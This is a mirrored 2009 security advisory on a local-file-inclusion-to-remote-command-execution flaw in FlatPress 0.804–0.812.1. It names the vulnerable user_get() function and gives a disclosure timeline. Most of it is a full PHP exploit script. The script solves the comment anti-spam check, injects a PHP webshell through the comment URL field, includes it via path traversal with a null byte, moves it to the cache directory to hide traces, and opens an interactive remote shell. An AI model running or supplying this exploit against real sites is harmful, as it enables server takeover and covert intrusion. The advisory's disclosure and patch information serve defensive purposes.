Lucene search
K

FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution

🗓️ 30 Sep 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution is a vulnerability in the FlatPress blogging engine that allows remote attackers to execute shell commands by injecting PHP code into a crafted comment for an article. The vulnerability exists in the user_get() function in the fp-includes/core/core.users.php directory

Code

                                                Security Advisory
-----------------
FlatPress 0.804-0.812.1 Local File Inclusion to Remote Command Execution


Researcher Information
----------------------
Discovered by: Giuseppe `Zmax` Fuggiano
Website: http://www.giusef.net
Contact: giuseppe(dot)fuggiano(at)gmail(dot)com


Product Information
-------------------
FlatPress is an open-source standard-compliant multi-lingual
extensible blogging engine written in PHP by Edoardo Vacchi.

Website: http://www.flatpress.org


Vulnerability Description
-------------------------
The versions 0.804 through 0.812.1 are resulting to be prone to a nasty
LFI vulnerability which can be exploited to have RCE (Remote Command
Execution). The piece of code involved is in the
fp-includes/core/core.users.php directory in the user_get() function
as showed below.

   function user_get($userid=null){
       if ($userid == null && ($user = user_loggedin())) {
           return $user;
       }
       if (file_exists($f = USERS_DIR . $userid.".php")) {
           include($f);

           return $user;
       }
   }

It is possible to create a crafted comment for an article, and inject
PHP code into the "web link" field, which is not properly validated.
Then, a remote attacker could use this code to execute shell commands
remotely, eventually hiding his own tracks (e.g. deleting the injected
comment).


Disclosure timeline
-------------------

DD/MM/YYYY

* 24/09/2009: Vulnerability discovery and analysis;
* 26/09/2009: The vendor was notificated via e-mail;
* 26/09/2009: Vendor response and a new release publicly available;
* 27/09/2009: The researcher starts coding the exploit;
* 29/09/2009: Exploit complete and tested.


Workaroud
---------
Update to the newer version 0.812.2


Shouts
------
Thank you (you-know-who) :-)


Exploit
-------
<?php
  /* Author: Giuseppe `Zmax` Fuggiano <giuseppe(dot)fuggiano(at)gmail(dot)com>
   *
   * Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution
   *              vulnerability exploit (fp-includes/core/core.users.php).
   *              This code posts a crafted comment with a very simple
PHP shell.
   *              It exploits the LFI, hides the shell in the cache directory
   *              and starts a remote command session via POST.
   *
   * Syntax: php fp-lfi2rce.php <host> <path> [action] [lang] [shell]
   *         <host>:   the hostname or IP address of your target;
   *         <path>:   the path where FlatPress was installed;
   *         [action]: the action to take against the host system
(test, attack);
   *         [lang]:   the remote language used (en, it);";
   *         [shell]:  if already exploited, you could just have the shell name.
   *
   * Dependencies: php5-curl.
   *
   * Examples:
   *   php fp-lfi2rce.php www.example.com /
      => will test
   *   php fp-lfi2rce.php www.example.com /blog attack
      => will attack
   *   php fp-lfi2rce.php www.example.com /flatpress attack en
12345678.php  => start remote session
   */

  /* GET request, returns the page */
  function get_url_contents($crl, $url)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* POST request */
  function post_url_fields($crl, $url, $fields)
  {
    curl_setopt($crl, CURLOPT_URL, $url);
    curl_setopt($crl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($crl, CURLOPT_CONNECTTIMEOUT, 10);
    curl_setopt($crl, CURLOPT_POST, 1);
    curl_setopt($crl, CURLOPT_POSTFIELDS, $fields);
    curl_setopt($crl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($crl, CURLOPT_COOKIEFILE, 'cookie.txt');
    $ret = curl_exec($crl);

    return $ret;
  }

  /* Execute remote command, returns the output */
  function fp_exec($crl, $sh, $cmd)
  {
    $ret = post_url_fields($crl, $sh, "c=$cmd");

    if ($ret) {
      $pos1 = strpos($ret, 'http://www.aaa') + 14;
      $pos2 = strpos($ret, 'aaa.com', $pos1);
      $result = substr($ret, $pos1, $pos2-$pos1);
      return $result;
    } else
      return false;
  }

  /* Starts a remote command session */
  function fp_shell($crl, $sh)
  {
    echo "\nStarting remote command session, type 'quit' or 'exit' to exit.\n";

    echo "\nremote> ";
    $line = trim(fgets(STDIN));

    while (($line != 'exit') && ($line != 'quit')) {
      if ($line != "") {
        if ($ret = fp_exec($crl, $sh, $line)) {
          echo "\n$ret";
        } else
          echo "\nError.\n";
      }
      echo "\nremote> ";
      $line = trim(fgets(STDIN));
    }
  }

  function fail($crl, $str)
  {
    curl_close($crl);

    die($str);
  }

  echo "\n Author: Giuseppe `Zmax` Fuggiano
<giuseppe(dot)fuggiano(at)gmail(dot)com>\n";
  echo "\n";
  echo " Description: FlatPress 0.804-0.812.1 Local File Inclusion to
Remote Command Execution\n";
  echo "              vulnerability exploit
(fp-includes/core/core.users.php).\n";
  echo "              This code posts a crafted comment with a very
simple PHP shell.\n";
  echo "              It exploits the LFI, hides the shell in the
cache directory\n";
  echo "              and starts a remote command session via POST.\n";
  echo "\n";
  echo " Syntax: $argv[0] <host> <path> [action] [lang] [shell]\n";
  echo "         <host>:   the hostname or IP address of your target;\n";
  echo "         <path>:   the path where FlatPress was installed;\n";
  echo "         [action]: the action to take against the host system
(test, attack);\n";
  echo "         [lang]:   the remote language used (en, it);\n";
  echo "         [shell]:  if already exploited, you could just have
the shell name.\n";
  echo "\n";
  echo " Examples:\n";
  echo "         php $argv[0] www.example.com /
          => will test\n";
  echo "         php $argv[0] www.example.com /blog attack
          => will attack\n";
  echo "         php $argv[0] www.example.com /flatpress attack en
12345678.php  => start remote session\n\n";

  $crl = curl_init();

  if ($argc < 3 || $argv[2] == '--help' || $argv[2] == '-h')
    die();

  $HOST = $argv[1];
  $PATH = $argv[2];

  if (isset($argv[3]))
    $ACTION = $argv[3];
  else
    $ACTION = 'test';

  if (isset($argv[4]))
    $LANG = $argv[4];
  else
    $LANG = 'en';

  switch ($LANG) {
    case 'it':
      $LANGARRAY = array('aaspam'   => 'Per prevenire abusi del
sistema di commenti, ' .
                                       'ti chiediamo di scrivere il
risultato di ' .
                                       'questa semplice operazione matematica',
                         'sum'      => 'sommare',
                         'subtract' => 'togli');
      break;
    default: /* en */
      $LANGARRAY = array('aaspam'   => 'As a way to prevent abuses of
this commenting system, ' .
                                       'we must ask you to give the
result of this simple ' .
                                       'mathematical operation',
                         'sum'      => 'sum',
                         'subtract' => 'subtract');
      break;
  }

  if (isset($argv[5])) {
    $SHELL = $argv[5];
    fp_shell($crl, "fp-content/cache/$SHELL");
    curl_close($crl);
    exit();
  } else
    $SHELL = 'unknown';

  echo " Host: $HOST\n";
  echo " Path: $PATH\n";
  echo " Lang: $LANG\n";
  echo " Shell: $SHELL\n\n";

  echo " [+] Vulnerability test: ";

  $form = "user=../../admin&pass=".rand()."&submit=Login";
  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, '<meta name="generator" content="FlatPress') == false)
    echo "vulnerable!\n\n";
  else
    fail($crl, "NOT vulnerable!\n\n");

  if ($ACTION == "test") {
    curl_close($crl);
    exit();
  }

  echo " [+] Creating the shell\n";
  echo "     * Getting the home page: ";

  $home = get_url_contents($crl, "$HOST/$PATH/");

  if (strpos($home, '<meta name="generator" content="FlatPress'))
    echo "ok\n";
  else
    fail($crl, "FAIL!\n\n");

  echo "     * Detecting an article: ";

  $entrypos = strpos($home, "x=entry:entry") + 8;

  if ($entrypos) {
    $entry = substr($home, $entrypos, 18);
    echo "$entry\n";
  } else
    fail($crl, "FAIL!\n\n");

  echo "     * Getting the comment page: ";

  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  if (strpos($commentpage, 'id="comment-userdata"'))
    echo "ok\n";
  else
    fail($crl, "FAIL!\n\n");

  echo "     * Solving the math operation: ";

  $mathpos = strpos($commentpage, $LANGARRAY['aaspam']) +
strlen($LANGARRAY['aaspam']);
  $mathpos = strpos($commentpage, "strong", $mathpos) + strlen("strong>");
  $mathstr = substr($commentpage, $mathpos, strlen($commentpage)-$mathpos);
  $operation = strtok($mathstr, " ");

  switch ($operation) {
    case $LANGARRAY['sum']:
      $first = strtok(' ');
      $to = strtok(' ');
      $second = strtok(' ');
      $result = $first + $second;
      break;
    case $LANGARRAY['subtract']:
      $first = strtok(' ');
      $from = strtok(' ');
      $second = strtok(' ');
      $result = $second - $first;
      break;
    case (is_numeric($operation) ? $operation : ""):
      $first = $operation;
      $times = strtok(' ');
      $second = strtok(' ');
      $result = $first * $second;
      break;
    default:
      fail($crl, "FAIL!\n\n");
  }

  echo "$result\n";

  echo "     * Posting crafted comment...\n";

  $random = rand();
  $form = 'name='.$random.'&[email protected]&url=http://www.aaa\<?system($_POST[\'c\']);?\>aaa.com'
.
          '&aaspam='.$result.'&content=foo&submit=Add';

  post_url_fields($crl, "$HOST/$PATH/?x=entry:$entry;comments:1", $form);
  $commentpage = get_url_contents($crl,
"$HOST/$PATH/?x=entry:$entry;comments:1");

  echo "     * Searching comment name: ";

  if (preg_match_all("/comment[0-9][0-9][0-9][0-9][0-9][0-9]-[0-9][0-9][0-9][0-9][0-9][0-9]/",
                     $commentpage, $comments, PREG_PATTERN_ORDER)) {
      $commententry = end($comments[0]);
      echo "$commententry\n";
  } else
    fail($crl, "FAIL!\n\n");

  $year = substr($entry, 5, 2);
  $month = substr($entry, 7, 2);
  $commentpath = "content/$year/$month/$entry/comments/$commententry.txt";

  echo "     * Hiding tracks: ";

  $SHELL = rand().'.php';

  $form = "user=../$commentpath%00a&pass=".rand()."&submit=Login" .
          "&c=mv -f fp-content/$commentpath fp-content/cache/$SHELL";

  $loginpage = post_url_fields($crl, "$HOST/$PATH/login.php", $form);

  if (strpos($loginpage, 'http://www.aaa') && strpos($loginpage, 'aaa.com')) {
    echo "ok\n\n";
    echo " [+] Your shell: fp-content/cache/$SHELL\n";
  } else
    fail($crl, "FAIL!\n\n");

  fp_shell($crl, "$HOST/$PATH/fp-content/cache/$SHELL");

  curl_close($crl);

  exit();
?>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation